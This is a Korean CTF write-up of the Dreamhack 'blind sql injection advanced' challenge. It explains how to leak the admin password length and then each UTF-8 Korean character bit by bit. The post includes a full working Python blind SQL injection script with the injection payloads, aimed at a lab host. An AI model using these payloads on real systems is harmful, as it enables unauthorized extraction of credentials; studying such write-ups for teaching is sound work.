Write-up/dreamhack

🚩Dreamhack - blind sql injection advanced

ㅇㅅㅇ.. 2024. 8. 10. 22:32
📂 Blind SQL Injection
📂 ASCII / Unicode
📂 Big-endian, Little-endian

 

더보기

 


1. 정보수집

웹 사이트에 접속하면 uid를 입력했을 때 해당 유저가 존재하는지 아닌지 출력해주는 폼이 하나 있다.

 

사용된 DB는 utf8로 인코딩 되어 있고 FLAG인 admin의 upw는 아스키 코드와 한글로 구성되어 있다고 문제에 나와있다.

 


2. Exploit

1. Length Leak

비밀번호 길이의 경우 다음과 같은 형태로 몇 번 시도하면 쉽게 알아낼 수 있다.
SELECT * FROM users WHERE uid='admin' and length(upw)>20 --1 ';

SELECT * FROM users WHERE uid='admin' and length(upw)=27 --1 ';

비밀번호 길이는 27자

 

2. Characters Leak

문제는 각각의 글자를 알아내는 것인데, utf-8에서 영어만 있는 경우 문자 포함 33~127 정도로 범위가 작지만, 한글은 11,172개의 경우의 수가 존재하므로 단순히 처음부터 끝까지 모든 글자를 비교해보는 것은 너무 비효율적이다. 이럴 때 비트 연산을 이용하여 비교 횟수를 매우 줄일 수 있다. utf-8 인코딩에서 한글의 경우 3bytes로 한 글자를 표현하는데 3bytes는 비트로 표현하면 24자리이다. 각 자리가 1인지 0인지 비교하면, 문자 하나를 24번만에 알아낼 수 있다. 문자 하나하나를 비교하면 최대 11,172번을 대입해야 되는 반면, 비트 연산을 하면 24번의 대입만으로 글자를 알아 낼 수 있다.

 


파이썬 스크립트 짜기 전에 간단히 알고 가기

 

ord(c)   *char -> Unicode num

bin(x)   *int -> binary

int(string, /, base=10)   *num or string -> int

int.to_bytes(Length=1, byteorder='big', *, signed=False)   *int -> byte array

bytes.decode(encoding='utf-8', errors='strict')   *byte -- decode --> (default: utf-8)

 

 

변수 char에 '가' 저장 utf-8로 인코딩하고 출력하면 b'\xea\xb0\x80' (16진수 바이트 문자열로 저장되어 있고, 3bytes를 사용하고 있음을 알 수 있다.) 바이트 리터럴과 이스케이프 시퀀스를 삭제하기 위해 hex() 함수를 적용하여 hex_char에 저장

 

16진수로 저장된 hex_char를 int() 함수를 사용하여 10진수로 바꾼 뒤 변수 dec에 저장 이를 bin() 함수를 이용하여 2진수로 바꾼 뒤 변수 binary에 저장하면 최종적으로 비트열은 111010101011000010000000

 

파이썬 스크립트로 한 문자씩 비트열을 비교하는데 비교하는 문자와 일치하는 비트열을 찾았을 때 해당 비트열을 다시 원래의 문자로 변환할 수 있어야 한다. 위 내용들을 바탕으로 아래와 같이 코드를 작성할 수 있다. 

여기서 int.to_bytes() 함수를 사용한 이유는 decode() 함수는 byte 자료형에만 사용할 수 있기 때문 바이너리로 구성된 int(binary)를 int.to_bytes() 함수를 이용하여 3bytes 크기의 바이트 배열로 바꾼 것 (해당 함수의 byte order 디폴트 값은 big-endian으로 생략 가능)


 

Python script

main()

check_length() 함수로 비밀번호 길이를 찾은 후 password_length에 저장 1부터 password_length+1까지 비밀번호 한글자씩 순회하기 글자 당 비트 길이 알아내기(bit_length_each_char) -> 글자 당 비트값 알아내기(bits_each_char) 비트 값을 utf-8 디코딩하여 password 변수에 추가 ❗(bit_length + 7) // 8 은 주어진 비트 길이에 해당하는 바이트 수를 계산하는 표현식 ❗ 비트 수를 바이트 수로 변환하기 위해 나누기 8을 하는데 올림을 위해 7을 더하는 것 ex) 9비트를 8로 나누면 1.125인데 9비트는 2바이트를 필요로 한다. 때문에 9+7=16으로 만들어 16 // 8 = 2 로 만들어 준다.

check_length()

 

bit_length_each_char()

 

bits_each_char()

 

 

 

⬇️전체 코드 보기

더보기
from requests import get

host = "http://host3.dreamhack.games:21485"

# 비밀번호 길이 찾기
def check_length():
        for num in range(0, 100):
                query = f"admin' and char_length(upw) = {num}-- -"
                r = get(f"{host}/?uid={query}")
                if "exists" in r.text:
                        print(f"password length: {num}")
                        break

        return num


# 비밀번호 문자별 비트 길이
def bit_length_each_char(i):
        bit_length = 0
        while True:
                bit_length += 1
                query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
                r = get(f"{host}/?uid={query}")
                if "exists" in r.text:
                        break
        print(f"character {i}'s bit length: {bit_length}")

        return bit_length


# 비밀번호 문자별 비트값
def bits_each_char(i, bit_length):
        bits = ""
        for j in range(1, bit_length + 1):
                query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
                r = get(f"{host}/?uid={query}")
                if "exists" in r.text:
                        bits += "1"
                else:
                        bits += "0"
        print(f"character {i}'s bits: {bits}")

        return bits


# ASCII 문자와 한글이 포함된 비밀번호 알아내기 
def main():
        password_length = check_length()
        password = ""

        # 비밀번호 한글자씩 순회
        for i in range(1, password_length + 1):
                bit_length = bit_length_each_char(i)            # 글자 하나의 비트 길이
                bits = bits_each_char(i, bit_length)            # 글자 하나의 비트값
                password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")    # 비트를 문자로 변환

        print(password)

        return password


main()

 

실행결과